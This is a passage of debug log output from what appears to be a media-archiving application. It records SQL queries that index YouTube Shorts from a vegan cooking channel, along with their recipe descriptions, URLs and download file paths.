BROCCOLI 🥦 #youtubeshorts #shorts [mCiBUmGhUBw].NA", true, ~U[2022-11-24 16:53:18Z]] 20:31:09.945 [debug] QUERY OK source="sources" db=0.7ms idle=7.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.947 [debug] QUERY OK source="media_items" db=1.8ms idle=7.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-11-21 17:10:10Z], 1] 20:31:09.948 [debug] QUERY OK source="media_items" db=1.0ms idle=8.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["SUPER SIMPLE SIDES Ep. 3 🍠 MAPLE SPICED YAMS 🍁 I have been making this dish for YEARS and my family gobbles it up every time I bring it over 😋\n\nSweet, spiced and savoury, it is the perfect side dish for your holiday gatherings (or for anytime, really) 🧡\n\nFULL RECIPE VIDEO & INSTRUCTIONS ➡️ https://youtu.be/ylCq0ZfWU-8\n\nMAPLE SPICED YAMS\n1 large yam, unpeeled and diced\n1/2 tbsp neutral oil (I used grapeseed)\n1 tbsp maple syrup\n1/2 tsp cinnamon\n1/2 tsp garlic powder\n1/4 tsp nutmeg\n1/4 tsp salt\nPreheat oven to 400°F, middle rack set. Add all the ingredients to a large mixing bowl and stir with a spatula to combine, ensuring each piece of yam has been coated in the oil, syrup and spices. Transfer to a large parchment lined baking tray, spreading into an even layer, and bake for 40 minutes until golden and fork tender. Serve and enjoy!\n\n#steamyvegankitchen #steamyvegan #vancouvervegan #yvrvegan #vancityvegan #whatscooking #veganeats #vegan #veganshare #veganfoodshare #veganfood #veganrecipes #glutenfree #glutenfreevegan #plantbased #veganfoodporn #veganfoodie #eatplants #vegancuisine #veganaf #easyvegan #glutenfreedairyfree #glutenfreelife #veganworldshare", "SUPER SIMPLE SIDES Ep. 3 🍠 MAPLE SPICED YAMS 🍁", "4e20fc15-a22e-4972-b00e-02cd97210089", 1, [], 56, false, "g-3apa81vBw", "https://www.youtube.com/shorts/g-3apa81vBw", 201, "/downloads/downloads/alec/Steamy Vegan/2022-11-21 SUPER SIMPLE SIDES Ep. 3 🍠 MAPLE SPICED YAMS 🍁/SUPER SIMPLE SIDES Ep. 3 🍠 MAPLE SPICED YAMS 🍁 [g-3apa81vBw].NA", false, false, true, 1, ~U[2022-11-21 17:10:10Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "SUPER SIMPLE SIDES Ep. 3 🍠 MAPLE SPICED YAMS 🍁 I have been making this dish for YEARS and my family gobbles it up every time I bring it over 😋\n\nSweet, spiced and savoury, it is the perfect side dish for your holiday gatherings (or for anytime, really) 🧡\n\nFULL RECIPE VIDEO & INSTRUCTIONS ➡️ https://youtu.be/ylCq0ZfWU-8\n\nMAPLE SPICED YAMS\n1 large yam, unpeeled and diced\n1/2 tbsp neutral oil (I used grapeseed)\n1 tbsp maple syrup\n1/2 tsp cinnamon\n1/2 tsp garlic powder\n1/4 tsp nutmeg\n1/4 tsp salt\nPreheat oven to 400°F, middle rack set. Add all the ingredients to a large mixing bowl and stir with a spatula to combine, ensuring each piece of yam has been coated in the oil, syrup and spices. Transfer to a large parchment lined baking tray, spreading into an even layer, and bake for 40 minutes until golden and fork tender. Serve and enjoy!\n\n#steamyvegankitchen #steamyvegan #vancouvervegan #yvrvegan #vancityvegan #whatscooking #veganeats #vegan #veganshare #veganfoodshare #veganfood #veganrecipes #glutenfree #glutenfreevegan #plantbased #veganfoodporn #veganfoodie #eatplants #vegancuisine #veganaf #easyvegan #glutenfreedairyfree #glutenfreelife #veganworldshare", "SUPER SIMPLE SIDES Ep. 3 🍠 MAPLE SPICED YAMS 🍁", 1, 56, false, "g-3apa81vBw", "https://www.youtube.com/shorts/g-3apa81vBw", "/downloads/downloads/alec/Steamy Vegan/2022-11-21 SUPER SIMPLE SIDES Ep. 3 🍠 MAPLE SPICED YAMS 🍁/SUPER SIMPLE SIDES Ep. 3 🍠 MAPLE SPICED YAMS 🍁 [g-3apa81vBw].NA", true, ~U[2022-11-21 17:10:10Z]] 20:31:09.949 [debug] QUERY OK source="sources" db=0.6ms idle=5.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.951 [debug] QUERY OK source="media_items" db=1.6ms idle=5.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-11-18 17:42:44Z], 1] 20:31:09.952 [debug] QUERY OK source="media_items" db=0.8ms idle=6.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["SWEET 'N SMOKEY BRUSSELS\n13-15 brussels sprouts, trimmed and halved\n1 tbsp maple syrup\n3/4 tsp liquid smoke\n1/2 tbsp onion powder\nPreheat oven to 400°F. Add the halved brussels to a saucepan with a steamer basket, add 1 cup of water and steam with the lid on for 2 minutes, until bright green. Remove from steamer and transfer to a large bowl. Add the maple syrup and liquid smoke and stir to combine, ensuring each sprout is covered. Add the onion powder and stir once more until well coated. Transfer sprouts to a parchment lined baking tray, evenly spaced apart and bake for 22-24 minutes, turning over halfway. Remove from the oven once golden and slightly charred, serve and enjoy!\n\nFULL RECIPE VIDEO & INSTRUCTIONS ➡️ https://youtu.be/ylCq0ZfWU-8\n\n#steamyvegankitchen #steamyvegan #veganholidays #veganholidaycooking #sidedishes #vegan #vegano #eatplants #happyholidays #vancouvervegan #yvrvegan #vancityvegan #whatscooking #veganeats #veganfoodshare #veganfood #veganrecipes #glutenfree #glutenfreevegan #plantbased #veganfoodporn #veganfoodie #brusselssprouts #brussels #maple #maplesyrup #maplestory #maplehaven #holidaycooking #holidayseason", "SUPER SIMPLE SIDES Ep. 2 - Sweet ‘n Smokey Brussels! #shorts #youtubeshorts", "0d507d49-a716-4b79-a914-fd8a99e99e34", 1, [], 60, false, "IvAqSTzjPWg", "https://www.youtube.com/shorts/IvAqSTzjPWg", 202, "/downloads/downloads/alec/Steamy Vegan/2022-11-18 SUPER SIMPLE SIDES Ep. 2 - Sweet ‘n Smokey Brussels! #shorts #youtubeshorts/SUPER SIMPLE SIDES Ep. 2 - Sweet ‘n Smokey Brussels! #shorts #youtubeshorts [IvAqSTzjPWg].NA", false, false, true, 2, ~U[2022-11-18 17:42:44Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "SWEET 'N SMOKEY BRUSSELS\n13-15 brussels sprouts, trimmed and halved\n1 tbsp maple syrup\n3/4 tsp liquid smoke\n1/2 tbsp onion powder\nPreheat oven to 400°F. Add the halved brussels to a saucepan with a steamer basket, add 1 cup of water and steam with the lid on for 2 minutes, until bright green. Remove from steamer and transfer to a large bowl. Add the maple syrup and liquid smoke and stir to combine, ensuring each sprout is covered. Add the onion powder and stir once more until well coated. Transfer sprouts to a parchment lined baking tray, evenly spaced apart and bake for 22-24 minutes, turning over halfway. Remove from the oven once golden and slightly charred, serve and enjoy!\n\nFULL RECIPE VIDEO & INSTRUCTIONS ➡️ https://youtu.be/ylCq0ZfWU-8\n\n#steamyvegankitchen #steamyvegan #veganholidays #veganholidaycooking #sidedishes #vegan #vegano #eatplants #happyholidays #vancouvervegan #yvrvegan #vancityvegan #whatscooking #veganeats #veganfoodshare #veganfood #veganrecipes #glutenfree #glutenfreevegan #plantbased #veganfoodporn #veganfoodie #brusselssprouts #brussels #maple #maplesyrup #maplestory #maplehaven #holidaycooking #holidayseason", "SUPER SIMPLE SIDES Ep. 2 - Sweet ‘n Smokey Brussels! #shorts #youtubeshorts", 1, 60, false, "IvAqSTzjPWg", "https://www.youtube.com/shorts/IvAqSTzjPWg", "/downloads/downloads/alec/Steamy Vegan/2022-11-18 SUPER SIMPLE SIDES Ep. 2 - Sweet ‘n Smokey Brussels! #shorts #youtubeshorts/SUPER SIMPLE SIDES Ep. 2 - Sweet ‘n Smokey Brussels! #shorts #youtubeshorts [IvAqSTzjPWg].NA", true, ~U[2022-11-18 17:42:44Z]] 20:31:09.953 [debug] QUERY OK source="sources" db=0.6ms idle=5.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.955 [debug] QUERY OK source="media_items" db=1.9ms idle=4.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-11-18 01:00:08Z], 1] 20:31:09.957 [debug] QUERY OK source="media_items" db=0.7ms idle=6.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Find out which plant based milks are the healthiest, lowest in calories, highest in protein and which ones taste the best by checking out our full review video. We taste tested 5 different plant based milks to find out which ones are the best.\n\nFull video: https://youtu.be/Z2mLUIoRAK0", "The Plant Based Milk With the Lowest Calories 🥛❤️🏆 #shorts #youtubeshorts", "8880c61f-8185-434c-8478-d200caac9b2e", 1, [], 25, false, "Miwfu7Y2a8c", "https://www.youtube.com/shorts/Miwfu7Y2a8c", 203, "/downloads/downloads/alec/Steamy Vegan/2022-11-18 The Plant Based Milk With the Lowest Calories 🥛❤️🏆 #shorts #youtubeshorts/The Plant Based Milk With the Lowest Calories 🥛❤️🏆 #shorts #youtubeshorts [Miwfu7Y2a8c].NA", false, false, true, 2, ~U[2022-11-18 01:00:08Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "Find out which plant based milks are the healthiest, lowest in calories, highest in protein and which ones taste the best by checking out our full review video. We taste tested 5 different plant based milks to find out which ones are the best.\n\nFull video: https://youtu.be/Z2mLUIoRAK0", "The Plant Based Milk With the Lowest Calories 🥛❤️🏆 #shorts #youtubeshorts", 1, 25, false, "Miwfu7Y2a8c", "https://www.youtube.com/shorts/Miwfu7Y2a8c", "/downloads/downloads/alec/Steamy Vegan/2022-11-18 The Plant Based Milk With the Lowest Calories 🥛❤️🏆 #shorts #youtubeshorts/The Plant Based Milk With the Lowest Calories 🥛❤️🏆 #shorts #youtubeshorts [Miwfu7Y2a8c].NA", true, ~U[2022-11-18 01:00:08Z]] 20:31:09.958 [debug] QUERY OK source="sources" db=0.7ms idle=6.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.960 [debug] QUERY OK source="media_items" db=2.2ms idle=5.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-11-17 21:41:47Z], 1] 20:31:09.961 [debug] QUERY OK source="media_items" db=0.6ms idle=7.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Find out which plant based milks have the most protein. Check out our full non dairy milk awards show live on the channel or click here to check it out: https://youtu.be/Z2mLUIoRAK0", "Which plant based milk has the highest protein? 💪 #shorts #youtubeshorts", "67ab0aee-e28f-4fb8-a321-a7f44cdcef29", 1, [], 23, false, "Ib0Uhn02EnU", "https://www.youtube.com/shorts/Ib0Uhn02EnU", 204, "/downloads/downloads/alec/Steamy Vegan/2022-11-17 Which plant based milk has the highest protein? 💪 #shorts #youtubeshorts/Which plant based milk has the highest protein? 💪 #shorts #youtubeshorts [Ib0Uhn02EnU].NA", false, false, true, 3, ~U[2022-11-17 21:41:47Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "Find out which plant based milks have the most protein. Check out our full non dairy milk awards show live on the channel or click here to check it out: https://youtu.be/Z2mLUIoRAK0", "Which plant based milk has the highest protein? 💪 #shorts #youtubeshorts", 1, 23, false, "Ib0Uhn02EnU", "https://www.youtube.com/shorts/Ib0Uhn02EnU", "/downloads/downloads/alec/Steamy Vegan/2022-11-17 Which plant based milk has the highest protein? 💪 #shorts #youtubeshorts/Which plant based milk has the highest protein? 💪 #shorts #youtubeshorts [Ib0Uhn02EnU].NA", true, ~U[2022-11-17 21:41:47Z]] 20:31:09.962 [debug] QUERY OK source="sources" db=0.6ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.964 [debug] QUERY OK source="media_items" db=1.8ms idle=5.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-11-17 19:33:45Z], 1] 20:31:09.966 [debug] QUERY OK source="media_items" db=0.9ms idle=6.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["SUPER SIMPLE SIDES EP. 1 🥣 Dilly Garlic 🧄 Mashed Potatoes! 🥔 \n\nFULL HOLIDAY SIDES RECIPE VIDEO UP ON MY YOUTUBE CHANNEL ➡️\nhttps://youtu.be/ylCq0ZfWU-8\n\nIt’s basically a sin to go through the holidays 🎄 without mashed potatoes! So why not jazz ‘em with some DILL & GARLIC?! 🤤 \n\nDILLY GARLIC MASHED POTATOES 🌿🧄🥔\n12 medium yellow potatoes\n4 cloves garlic, minced\n1/4 cup fresh dill, minced\n1/2 cup vegan cream cheese\n2 tbsp vegan butter (can sub out for more cream cheese for lower cal)\nsplash of non-dairy milk\nsalt & pepper\n1/3 cup chopped green onion, optional garnish\nChop and boil potatoes (no need to peel) for 30 minutes until fork tender. Drain and partially mash. Add the vegan butter and cream cheese splash of non-dairy milk and continue mashing until almost smooth. Fold in the dill, garlic, salt and pepper and continue mashing until at your desired texture. Garnish with green onion and enjoy!\n\n\nFollow @steamyvegankitchen for tons of plant based recipes throughout the holiday season! 😍\n\n#steamyvegankitchen #steamyvegan #veganholidays #veganholidaycooking #sidedishes #vegan #vegano #eatplants #happyholidays #mashedpotatoes #potatolover #starchsolution #starch #potatorecipes #garliclovers #vancouvervegan #yvrvegan #vancityvegan #whatscooking #veganeats #veganfoodshare #veganfood #veganrecipes #glutenfree #glutenfreevegan #plantbased #veganfoodporn #veganfoodie", "SUPER SIMPLE SIDES Ep. 1 - DILLY GARLIC 🧄 MASHED POTATOES 🥔", "b29f0728-423d-4369-8932-5add3b9559ac", 1, [], 58, false, "y6jH5V9ISys", "https://www.youtube.com/shorts/y6jH5V9ISys", 205, "/downloads/downloads/alec/Steamy Vegan/2022-11-17 SUPER SIMPLE SIDES Ep. 1 - DILLY GARLIC 🧄 MASHED POTATOES 🥔/SUPER SIMPLE SIDES Ep. 1 - DILLY GARLIC 🧄 MASHED POTATOES 🥔 [y6jH5V9ISys].NA", false, false, true, 3, ~U[2022-11-17 19:33:45Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "SUPER SIMPLE SIDES EP. 1 🥣 Dilly Garlic 🧄 Mashed Potatoes! 🥔 \n\nFULL HOLIDAY SIDES RECIPE VIDEO UP ON MY YOUTUBE CHANNEL ➡️\nhttps://youtu.be/ylCq0ZfWU-8\n\nIt’s basically a sin to go through the holidays 🎄 without mashed potatoes! So why not jazz ‘em with some DILL & GARLIC?! 🤤 \n\nDILLY GARLIC MASHED POTATOES 🌿🧄🥔\n12 medium yellow potatoes\n4 cloves garlic, minced\n1/4 cup fresh dill, minced\n1/2 cup vegan cream cheese\n2 tbsp vegan butter (can sub out for more cream cheese for lower cal)\nsplash of non-dairy milk\nsalt & pepper\n1/3 cup chopped green onion, optional garnish\nChop and boil potatoes (no need to peel) for 30 minutes until fork tender. Drain and partially mash. Add the vegan butter and cream cheese splash of non-dairy milk and continue mashing until almost smooth. Fold in the dill, garlic, salt and pepper and continue mashing until at your desired texture. Garnish with green onion and enjoy!\n\n\nFollow @steamyvegankitchen for tons of plant based recipes throughout the holiday season! 😍\n\n#steamyvegankitchen #steamyvegan #veganholidays #veganholidaycooking #sidedishes #vegan #vegano #eatplants #happyholidays #mashedpotatoes #potatolover #starchsolution #starch #potatorecipes #garliclovers #vancouvervegan #yvrvegan #vancityvegan #whatscooking #veganeats #veganfoodshare #veganfood #veganrecipes #glutenfree #glutenfreevegan #plantbased #veganfoodporn #veganfoodie", "SUPER SIMPLE SIDES Ep. 1 - DILLY GARLIC 🧄 MASHED POTATOES 🥔", 1, 58, false, "y6jH5V9ISys", "https://www.youtube.com/shorts/y6jH5V9ISys", "/downloads/downloads/alec/Steamy Vegan/2022-11-17 SUPER SIMPLE SIDES Ep. 1 - DILLY GARLIC 🧄 MASHED POTATOES 🥔/SUPER SIMPLE SIDES Ep. 1 - DILLY GARLIC 🧄 MASHED POTATOES 🥔 [y6jH5V9ISys].NA", true, ~U[2022-11-17 19:33:45Z]] 20:31:09.967 [debug] QUERY OK source="sources" db=0.5ms idle=6.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.969 [debug] QUERY OK source="media_items" db=1.8ms idle=5.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-11-15 17:53:31Z], 1] 20:31:09.970 [debug] QUERY OK source="media_items" db=1.1ms idle=7.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["CRISPY TOFU ALERT 🚨 Never make bland, tasteless tofu ever again! All you need is 3 simple ingredients to transform this incredibly healthy plant-based protein into something you’ll want to include in tons of your favourite meals. 😊\n\nSee the full video on MY 2 FAV WAYS TO MAKE TOFU! ➡️ https://youtu.be/F7YBPAsRbZ0\n\nCRISPY BAKED TOFU (3 INGREDIENTS)\n1 block extra firm tofu, pressed and cubed into bite-sized pieces\n2-3 tbsp soy sauce or tamari\n2-3 tbsp nutritional yeast\n\nTo a large bowl add the tofu and pour over the soy sauce. Toss until each piece is coated and all the soy sauce has been absorbed (add more if the bottom of the bowl looks dry). Add the nutritional yeast and toss once more until each piece of tofu is coated. Transfer to a parchment lined baking tray and bake for 40 minutes at 425°F until golden and crispy, flipping over halfway through. Serve with salads, rice dishes, stir frys, curries, or enjoy on its own! Love dipping them in plum sauce!\n\nFollow @steamyvegankitchen for more delish plant-based recipes! 🌱 \n\n#steamyvegankitchen #steamyvegan #vegan #instavegan #veganshare #veganfoodshare #veganfood #veganrecipes #veganlife #veganhacks #plantbased #plantbaseddiet #plantbasednutrition #plantbasedrecipes #plantbasedfood #plantbasedcooking #vegancuisine #glutenfree #glutenfreefood #glutenfreedairyfree #glutenfreevegan #glutenfreelife #veganglutenfree #tofurecipes #crispytofu #tofu\n\nMusic by Mark Generous - Drawing A Maze - https://thmatc.co/?l=BFC91358", "CRISPY BAKED TOFU! Only 3 ingredients 😍 #shorts #youtubeshorts", "7cb813d5-3e2f-49ae-a0dd-2f465cdbed52", 1, [], 59, false, "Y6oNeFhgJUk", "https://www.youtube.com/shorts/Y6oNeFhgJUk", 206, "/downloads/downloads/alec/Steamy Vegan/2022-11-15 CRISPY BAKED TOFU! Only 3 ingredients 😍 #shorts #youtubeshorts/CRISPY BAKED TOFU! Only 3 ingredients 😍 #shorts #youtubeshorts [Y6oNeFhgJUk].NA", false, false, true, 1, ~U[2022-11-15 17:53:31Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "CRISPY TOFU ALERT 🚨 Never make bland, tasteless tofu ever again! All you need is 3 simple ingredients to transform this incredibly healthy plant-based protein into something you’ll want to include in tons of your favourite meals. 😊\n\nSee the full video on MY 2 FAV WAYS TO MAKE TOFU! ➡️ https://youtu.be/F7YBPAsRbZ0\n\nCRISPY BAKED TOFU (3 INGREDIENTS)\n1 block extra firm tofu, pressed and cubed into bite-sized pieces\n2-3 tbsp soy sauce or tamari\n2-3 tbsp nutritional yeast\n\nTo a large bowl add the tofu and pour over the soy sauce. Toss until each piece is coated and all the soy sauce has been absorbed (add more if the bottom of the bowl looks dry). Add the nutritional yeast and toss once more until each piece of tofu is coated. Transfer to a parchment lined baking tray and bake for 40 minutes at 425°F until golden and crispy, flipping over halfway through. Serve with salads, rice dishes, stir frys, curries, or enjoy on its own! Love dipping them in plum sauce!\n\nFollow @steamyvegankitchen for more delish plant-based recipes! 🌱 \n\n#steamyvegankitchen #steamyvegan #vegan #instavegan #veganshare #veganfoodshare #veganfood #veganrecipes #veganlife #veganhacks #plantbased #plantbaseddiet #plantbasednutrition #plantbasedrecipes #plantbasedfood #plantbasedcooking #vegancuisine #glutenfree #glutenfreefood #glutenfreedairyfree #glutenfreevegan #glutenfreelife #veganglutenfree #tofurecipes #crispytofu #tofu\n\nMusic by Mark Generous - Drawing A Maze - https://thmatc.co/?l=BFC91358", "CRISPY BAKED TOFU! Only 3 ingredients 😍 #shorts #youtubeshorts", 1, 59, false, "Y6oNeFhgJUk", "https://www.youtube.com/shorts/Y6oNeFhgJUk", "/downloads/downloads/alec/Steamy Vegan/2022-11-15 CRISPY BAKED TOFU! Only 3 ingredients 😍 #shorts #youtubeshorts/CRISPY BAKED TOFU! Only 3 ingredients 😍 #shorts #youtubeshorts [Y6oNeFhgJUk].NA", true, ~U[2022-11-15 17:53:31Z]] 20:31:09.971 [debug] QUERY OK source="sources" db=0.5ms idle=6.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.973 [debug] QUERY OK source="media_items" db=1.6ms idle=5.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-11-10 21:22:28Z], 1] 20:31:09.974 [debug] QUERY OK source="media_items" db=1.0ms idle=6.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["BROCCOLI 🥦 CHEESE 🧀 SOUP 🥣 ALERT 🚨 If you’re looking for an easy weeknight dinner idea, then you have to try the EASIEST Vegan Broccoli and Cheese Soup Recipe EVER! 🥣 It’s gluten-free, oil-free (optional) and uses healthy whole foods ingredients. 🌱\n\nRECIPE VIDEO: https://youtu.be/GfrU-pj2O2M\nFULL RECIPE: https://steamyvegankitchen.com/vegan-broccoli-cheese-soup/\n \nThis soup is made in an Instant Pot but stovetop directions are in the blog post (BIO!) if you don’t have a pressure cooker. Now, I’m sure there are a million and one ways to make this kind of soup, but the reasons why I love this version are it only requires 6 ingredients, it’s made with whole plant foods, and requires minimal hands-on time. \n\n#steamyvegankitchen #steamyvegan #eatplants #soupszn 